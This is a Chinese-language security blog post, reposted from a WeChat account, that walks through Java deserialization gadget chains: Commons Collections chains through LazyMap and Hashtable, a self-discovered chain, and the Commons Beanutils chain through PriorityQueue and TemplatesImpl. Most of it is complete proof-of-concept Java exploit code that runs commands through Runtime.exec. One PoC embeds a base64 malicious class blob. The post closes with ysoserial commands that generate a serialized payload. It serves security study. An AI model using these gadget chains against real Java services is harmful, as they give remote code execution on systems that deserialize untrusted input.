这里关系可能比较乱, 一句话就是说: 准备两个LazyMap, 这两个LazyMap中包裹HashMap, 然后调用LazyMap::equals(另一个LazyMap)即可.

这里准备POC如下:

Transformer[] transformerChain = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", // public Method getMethod(String name, Class<?>... parameterTypes)
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", // public Object invoke(Object obj, Object... args)
new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用

// 准备两个 HashMap
HashMap<Object, Object> hashMap1 = new HashMap<>();
HashMap<Object, Object> hashMap2 = new HashMap<>();

hashMap1.put("heihu", null);
hashMap2.put("hacker", null);

// 准备两个 LazyMap
LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(hashMap1, chainedTransformer); // 创建一个 lazyMap 对象
LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hashMap2, chainedTransformer); // 创建一个 lazyMap 对象

lazyMap1.equals(lazyMap2); // 进行比较

运行即可弹出计算器.

Hashtable::readObject 入口方法 - 调用 equals

Hashtable::readObject方法中存在两者通过equals比较的操作, 我们看一下关键代码:

private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException{
// ... 其他代码
for (; elements > 0; elements--) {
K key = (K)s.readObject();
V value = (V)s.readObject();
reconstitutionPut(table, key, value); // 调用到该方法
}
}

private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException {
if (value == null) { // value 不可以为 null
throw new java.io.StreamCorruptedException();
}
int hash = key.hashCode(); // 对 key 进行 hashCode 计算
int index = (hash & 0x7FFFFFFF) % tab.length; // 两者 hashCode 相同的话 index 计算结果也相同
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { // 发现
if ((e.hash == hash) && e.key.equals(key)) { // 如果两个 key 的 hash 相同, 那么就调用 key 的 equals 方法
throw new java.io.StreamCorruptedException();
}
}
}

这里我们把key设置为我们的LazyMap, 然后因为LazyMap::hashCode的运算是根据HashMap[Key.hashCode ^ Value.hashCode]来计算的, 所以我们完全可以准备两个Value完全一样的LazyMap, 而Key我们可以通过字符串中的hash碰撞问题, 来使其两个反序列化时hashCode一样, 而进入了LazyMap::equals危险方法, 编写 POC 如下:

public static void main(String[] args) throws Exception {
Transformer[] transformerChain = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", // public Method getMethod(String name, Class<?>... parameterTypes)
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", // public Object invoke(Object obj, Object... args)
new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用
// 准备两个 HashMap
HashMap<Object, Object> hashMap1 = new HashMap<>();
HashMap<Object, Object> hashMap2 = new HashMap<>();
hashMap1.put("}~", null);
hashMap2.put("heihu577", null); // 防止后面 put 时, 无法进入 addEntry 方法, 所以这里需要随机 put 一个字符串
// 准备两个 LazyMap
LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(hashMap1, chainedTransformer);
LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hashMap2, chainedTransformer);

Hashtable<LazyMap, Object> evilTable = new Hashtable<>();
evilTable.put(lazyMap1, 1);
evilTable.put(lazyMap2, 1); // put 完毕后, 没有进入 addEntry, 因为 "heihu577".hashCode() != "}~".hashCode()

hashMap2.remove("heihu577"); // put 完毕了, 程序不报错, heihu577 没有用了, 移除掉
hashMap2.put("~_", null); // 塞入与 }~ 字符串 hashCode 相同的值, 准备序列化

serialize(evilTable);
unserialize();
}

public static void serialize(Object o) throws IOException, IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
ois.readObject();
}

运行弹出计算器.

手动挖一个 CC 链

通过上述知识体系, 笔者在这随意挖出一条新的链路, 如下:

public static void main(String[] args) throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", // public Method getMethod(String name, Class<?>... parameterTypes)
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", // public Object invoke(Object obj, Object... args)
new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
});
HashMap<Object, Object> hsmap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hsmap, chainedTransformer);
CompositeInvocationHandlerImpl compositeInvocationHandler = new CompositeInvocationHandlerImpl();
Field classToInvocationHandler = compositeInvocationHandler.getClass().getDeclaredField("classToInvocationHandler");
classToInvocationHandler.setAccessible(true);
classToInvocationHandler.set(compositeInvocationHandler, lazyMap);
Object o = Proxy.newProxyInstance(classToInvocationHandler.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(), compositeInvocationHandler);
BadAttributeValueExpException resultObj = new BadAttributeValueExpException(null);
Field val = resultObj.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(resultObj, o);
serialize(resultObj);
unserialize();
}

public static void serialize(Object o) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(new File("D:/heihu577.ser")));
oos.writeObject(o);
}

public static void unserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("D:/heihu577.ser")));
ois.readObject();
}

当然感兴趣的可以自己去调试.

CC链总结图

从网上沾来的一篇总结图, 很不错, 收藏用.

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20240928173207706.png

很多链路都是部分重复的, 只是有些地方略有区别.

Commons Beanutils

CommonsBeanutils 是应用于 JavaBean 的工具,它提供了对普通Java类对象(也称为 JavaBean)的一些操作方法

前置环境准备

俗称cb链, 我们首先准备pom.xml, 文件内容如下:

<dependencies>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
</dependencies>

下面来看一下CB的简单使用, 准备Main:

public class MainApp {
public static void main(String[] args) throws Exception {
Person person = new Person(); // 创建一个 Person 对象
person.setName("hacker"); // 设置 Person 对象名称
String name = (String) PropertyUtils.getProperty(person, "name"); // 得到名称, 等同于 person.getName()
System.out.println(name);
}
}
public class Person {
private String name;

public String getName() { // 准备 getter
return name;
}

public void setName(String name) { // 准备 setter
this.name = name;
}
}

可以看到CB的使用还是很简单的, 下面来分析一下这个方法.

PropertyUtils.getProperty 调用链分析

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20241016234719459.png

PropertyUtils.getProperty(person, "name")执行链是这样的: 传入 name -> 找到getName方法 -> 通过反射调用 person 对象的getName方法.

所以当一个类存在getXxx方法时, 我们可以通过PropertyUtils.getProperty(对象,"xxx")进行调用对象.getXxx方法.

而我们Xalan ClassLoader利用中,TemplatesImpl::getOutputProperties方法是整个Xalan ClassLoader利用的起点, 而它刚好符合我们上述逻辑, 测试如下:

public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
Field tfactory = templates.getClass().getDeclaredField("_tfactory"); // 必须放置 TransformerFactoryImpl 对象
name.setAccessible(true);
tfactory.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = new byte[1][];
myBytes[0] =
new BASE64Decoder().decodeBuffer("恶意类字节码 Base64 后的值, 可以使用 Base64.getEncoder().encodeToString(Repository.lookupClass(具体类.class).getBytes()) 进行生成"); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
bytecodes.set(templates, myBytes);
name.set(templates, "");
tfactory.set(templates, new TransformerFactoryImpl());
// Transformer transformer = templates.newTransformer(); 现在不使用 newTransformer 进行调用了, 使用 getOutputProperties 进行调用
// templates.getOutputProperties(); // 运行可弹计算器, 下面使用 CB 链触发
PropertyUtils.getProperty(templates, "outputProperties"); // 同样可以弹出计算器
}

那么对于现在场景来说,PropertyUtils.getProperty(可控,可控)是危险的调用, 那么谁调用了PropertyUtils.getProperty, 并且参数可控?

BeanComparator::compare 链式调用

继续Alt+F7查看调用位置, 结果发现了BeanComparator::compare方法中调用了PropertyUtils.getProperty(可控,可控), 如图:

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20241017090945344.png

但是目前我们还不能调用该类, 该类依赖于CC链, 但该类的pom.xml文件中, 定义了<optional>true</optional>不传递依赖, 则意味着不会将CC引入到我们环境下, 如下:

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20241017091500433.png

那么我们构造 POC 时, 构造函数不能走到ComparableComparator.getInstance, 因为我们当前并没有CC环境, 所以我们只能通过传递一个Comparator从而进入BeanComparator(String,Comparator)的第一条if语句中, 这样就可以避开ComparableComparator类的加载.

构造如下POC:

TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
Field tfactory = templates.getClass().getDeclaredField("_tfactory"); // 必须放置 TransformerFactoryImpl 对象
name.setAccessible(true);
tfactory.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = new byte[1][];
myBytes[0] =
new BASE64Decoder().decodeBuffer("恶意类字节码 BASE64 值"); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
bytecodes.set(templates, myBytes);
name.set(templates, "");
tfactory.set(templates, new TransformerFactoryImpl());

BeanComparator beanComparator = new BeanComparator("outputProperties", new Comparator() {
@Override
public int compare(Object o1, Object o2) {
return 0;
}
}); // outputProperties 可控, 第二个参数传递一个 Comparator, 在当前阶段先随便传递一个实现该类的匿名类吧.
beanComparator.compare(templates, templates); // 将可控的 templates 传入, 调用则弹计算器

运行则弹出计算器.

PriorityQueue 链式调用

在我们之前研究CC链时, 发现一个调用compare方法的类:

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20241017092336439.png

而这个PriorityQueue.readObject方法调用xxx.compare(参数1,参数2)时, 是可控的, 所以在这里我们可以利用该类, 调用我们的BeanComparator::compare方法.

那么准备如下 POC:

public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
Field tfactory = templates.getClass().getDeclaredField("_tfactory"); // 必须放置 TransformerFactoryImpl 对象
name.setAccessible(true);
tfactory.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = new byte[1][];
myBytes[0] =
new BASE64Decoder().decodeBuffer("恶意类字节码的 BASE64 值"); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
bytecodes.set(templates, myBytes);
name.set(templates, "");
tfactory.set(templates, new TransformerFactoryImpl());

BeanComparator beanComparator = new BeanComparator("outputProperties", new Comparator() {
@Override
public int compare(Object o1, Object o2) {
return 0;
}
}); // outputProperties 可控, 第二个参数传递一个 Comparator, 在当前阶段先随便传递一个实现该类的匿名类吧.
// beanComparator.compare(templates, templates); // 将可控的 templates 传入, 调用则弹计算器
PriorityQueue priorityQueue = new PriorityQueue(new Comparator() {
@Override
public int compare(Object o1, Object o2) {
return 0;
}
}); // 为了防止序列化前, 就会调用 compare 方法, 这里先传递一个没用的 Comparator
priorityQueue.add(templates); // 将可控的 templates 传入, 调用则弹计算器
priorityQueue.add(templates);

Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue, beanComparator);

serialize(comparator);
deserialize();
}

public static void serialize(Object object) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
objectOutputStream.writeObject(object);
}

public static Object deserialize() throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
return objectInputStream.readObject();
}

但是运行时, 会爆出无法序列化的错误, 因为我们传入的new Comparator(){}这个匿名类, 是不支持序列化的.

由于我们当前的操作也是为了防止程序报错, 我们这里有两个解决方案:

  • 传入new Comparator(){}, 但是在序列化之前, 我们通过反射, 将comparator设置为null就行了, 因为 null 是支持序列化的.
  • 传入一个支持序列化的Comparator, 这个Comparator需要我们自己去找.
反射设置 BeanComparator.comparator 为 null && 修改 PriorityQueue.size 大小防止进入链路

最终 POC 如下:

public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
Field tfactory = templates.getClass().getDeclaredField("_tfactory"); // 必须放置 TransformerFactoryImpl 对象
name.setAccessible(true);
tfactory.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = new byte[1][];
myBytes[0] =
new BASE64Decoder().decodeBuffer("恶意类字节码的 BASE64"); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
bytecodes.set(templates, myBytes);
name.set(templates, "");
tfactory.set(templates, new TransformerFactoryImpl());

Class<?> comparatorClazz = Class.forName("javax.swing.LayoutComparator");
Constructor<?> comparatorClazzConstructor = comparatorClazz.getDeclaredConstructor();
comparatorClazzConstructor.setAccessible(true);
Comparator o = (Comparator) comparatorClazzConstructor.newInstance();

BeanComparator beanComparator = new BeanComparator("outputProperties", new Comparator() {
@Override
public int compare(Object o1, Object o2) {
return 0;
}
}); // outputProperties 可控, 第二个参数传递一个 Comparator.

Field comparator = beanComparator.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(beanComparator, null); // 由于 Comparator 不支持序列化, 所以在序列化时, 会报错, 所以我们在这里将其改为null, 为了支持序列化.

// beanComparator.compare(templates, templates); // 将可控的 templates 传入, 调用则弹计算器
PriorityQueue priorityQueue = new PriorityQueue(beanComparator); // 为了防止序列化前, 就会调用 compare 方法, 这里先传递一个没用的 Comparator
Field size = priorityQueue.getClass().getDeclaredField("size");
size.setAccessible(true);

priorityQueue.add(templates); // 将可控的 templates 传入, 调用则弹计算器
size.set(priorityQueue, 0); // 通过修改 size, 防止 add 方法调用到链路
priorityQueue.add(templates);
size.set(priorityQueue, 2); // 将 size 改回正常的, 防止反序列化时进入不了链路

serialize(priorityQueue);
deserialize();
}

public static void serialize(Object object) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
objectOutputStream.writeObject(object);
}

public static Object deserialize() throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
return objectInputStream.readObject();
}
寻找可利用的 Comparator && 修改 size 大小防止进入链路

寻找可序列化的Comparator, 笔者在这里找到了LayoutComparator, 如图:

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20241017104056802.png

那么我们完全可以使用这个Comparator, 构造POC:

public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
Field tfactory = templates.getClass().getDeclaredField("_tfactory"); // 必须放置 TransformerFactoryImpl 对象
name.setAccessible(true);
tfactory.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = new byte[1][];
myBytes[0] =
new BASE64Decoder().decodeBuffer(
"yv66vgAAADQAZgoADwA0BwA1CgA2ADcKADgAOQoAOgA7CgA8AD0JAD4APwoAQABBCgBCAEMIAEQKAEIARQcARgcARwoADQBIBwBJAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNMY29tL2hlaWh1NTc3L2V2aWw7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEACWphdmFDbGFzcwEANkxjb20vc3VuL29yZy9hcGFjaGUvYmNlbC9pbnRlcm5hbC9jbGFzc2ZpbGUvSmF2YUNsYXNzOwEAAXMBABJMamF2YS9sYW5nL1N0cmluZzsBAApFeGNlcHRpb25zBwBKAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcASwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcARgEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMABAAEQEAEWNvbS9oZWlodTU3Ny9ldmlsBwBMDABNAE4HAE8MAFAAUwcAVAwAVQBWBwBXDABYAFkHAFoMAFsAXAcAXQwAXgBfBwBgDABhAGIBAARjYWxjDABjAGQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MABAAZQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQArY29tL3N1bi9vcmcvYXBhY2hlL2JjZWwvaW50ZXJuYWwvUmVwb3NpdG9yeQEAC2xvb2t1cENsYXNzAQBJKExqYXZhL2xhbmcvQ2xhc3M7KUxjb20vc3VuL29yZy9hcGFjaGUvYmNlbC9pbnRlcm5hbC9jbGFzc2ZpbGUvSmF2YUNsYXNzOwEAEGphdmEvdXRpbC9CYXNlNjQBAApnZXRFbmNvZGVyAQAHRW5jb2RlcgEADElubmVyQ2xhc3NlcwEAHCgpTGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcjsBADRjb20vc3VuL29yZy9hcGFjaGUvYmNlbC9pbnRlcm5hbC9jbGFzc2ZpbGUvSmF2YUNsYXNzAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAYamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyAQAOZW5jb2RlVG9TdHJpbmcBABYoW0IpTGphdmEvbGFuZy9TdHJpbmc7AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAIADwAAAAAABQABABAAEQABABIAAAAvAAEAAQAAAAUqtwABsQAAAAIAEwAAAAYAAQAAAA0AFAAAAAwAAQAAAAUAFQAWAAAACQAXABgAAgASAAAAYwACAAMAAAAZEgK4AANMuAAEK7YABbYABk2yAAcstgAIsQAAAAIAEwAAABIABAAAABcABgAYABEAGQAYABoAFAAAACAAAwAAABkAGQAaAAAABgATABsAHAABABEACAAdAB4AAgAfAAAABAABACAAAQAhACIAAgASAAAAPwAAAAMAAAABsQAAAAIAEwAAAAYAAQAAAB8AFAAAACAAAwAAAAEAFQAWAAAAAAABACMAJAABAAAAAQAlACYAAgAfAAAABAABACcAAQAhACgAAgASAAAASQAAAAQAAAABsQAAAAIAEwAAAAYAAQAAACQAFAAAACoABAAAAAEAFQAWAAAAAAABACMAJAABAAAAAQApACoAAgAAAAEAKwAsAAMAHwAAAAQAAQAnAAgALQARAAEAEgAAAGYAAwABAAAAF7gACRIKtgALV6cADUu7AA1ZKrcADr+xAAEAAAAJAAwADAADABMAAAAWAAUAAAAQAAkAEwAMABEADQASABYAFAAUAAAADAABAA0ACQAuAC8AAAAwAAAABwACTAcAMQkAAgAyAAAAAgAzAFIAAAAKAAEAPAA4AFEACQ=="); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
bytecodes.set(templates, myBytes);
name.set(templates, "");
tfactory.set(templates, new TransformerFactoryImpl());

Class<?> comparatorClazz = Class.forName("javax.swing.LayoutComparator");
Constructor<?> comparatorClazzConstructor = comparatorClazz.getDeclaredConstructor();
comparatorClazzConstructor.setAccessible(true);
Comparator o = (Comparator) comparatorClazzConstructor.newInstance();

BeanComparator beanComparator = new BeanComparator("outputProperties", o); // outputProperties 可控, 第二个参数传递一个可序列化的 Comparator.

// beanComparator.compare(templates, templates); // 将可控的 templates 传入, 调用则弹计算器
PriorityQueue priorityQueue = new PriorityQueue(beanComparator); // 为了防止序列化前, 就会调用 compare 方法, 这里先传递一个没用的 Comparator
Field size = priorityQueue.getClass().getDeclaredField("size");
size.setAccessible(true);

priorityQueue.add(templates); // 将可控的 templates 传入, 调用则弹计算器
size.set(priorityQueue, 0); // 通过修改 size, 防止 add 方法调用到链路
priorityQueue.add(templates);
size.set(priorityQueue, 2); // 将 size 改回正常的, 防止反序列化时进入不了链路

serialize(priorityQueue);
deserialize();
}

public static void serialize(Object object) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
objectOutputStream.writeObject(object);
}

public static Object deserialize() throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
return objectInputStream.readObject();
}

ysoserial 反序列化链路工具

工具链接: https://github.com/frohoff/ysoserial 该工具是一个成熟的反序列化链路工具, 该工具记载了市面上爆出的反序列化漏洞链路.

使用方法:

E:LanguageJavajdk1.8bin>.java -jar "C:UsersAdministratorDesktopysoserial-all.jar"
Y SO SERIAL?
Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
Available payload types:
九月 25, 2024 9:42:40 下午 org.reflections.Reflections scan
信息: Reflections took 120 ms to scan 1 urls, producing 18 keys and 153 values
Payload Authors Dependencies
------- ------- ------------
AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0
Clojure @JackOfMostTrades clojure:1.8.0
CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsCollections1 @frohoff commons-collections:3.1
CommonsCollections2 @frohoff commons-collections4:4.0
CommonsCollections3 @frohoff commons-collections:3.1
CommonsCollections4 @frohoff commons-collections4:4.0
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
CommonsCollections6 @matthias_kaiser commons-collections:3.1
CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
Groovy1 @frohoff groovy:2.3.9
Hibernate1 @mbechler
Hibernate2 @mbechler
JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRMPClient @mbechler
JRMPListener @mbechler
JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21 @frohoff
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
MozillaRhino1 @matthias_kaiser js:1.7R2
MozillaRhino2 @_tint0 js:1.7R2
Myfaces1 @mbechler
Myfaces2 @mbechler
ROME @mbechler rome:1.0
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
URLDNS @gebl
Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4

E:LanguageJavajdk1.8bin>.java -jar "C:UsersAdministratorDesktopysoserial-all.jar" CommonsCollections1 "calc" > D:/evil.bin

最终D盘会生成evil.bin, 内容则是已经弄好的序列化二进制文件. 当然因为serialVersionUID的原因, 有时ysoserial可能会打失败, 但是这些都无所谓, 工具好就好在将市面上常见的链路总结在一起了. 版本不符合自己调试一下链路, 手动生成一下EXP也是可以的.

Ending...

本次反序列化漏洞衔接上了另一篇《JAVA安全 | Classloader:理解与利用一篇就够了》中Xalan ClassLoader的妙用, 当然只有链路肯定是不行的, 后续在讲解触发点的时候, 笔者将带领大家从Shiro底层源码, 一步一步分析Shiro的漏洞, 敬请期待!

原文始发于微信公众号(Heihu Share):Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月28日13:39:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CBhttps://cn-sec.com/archives/3444487.html

发表评论

匿名网友 填写信息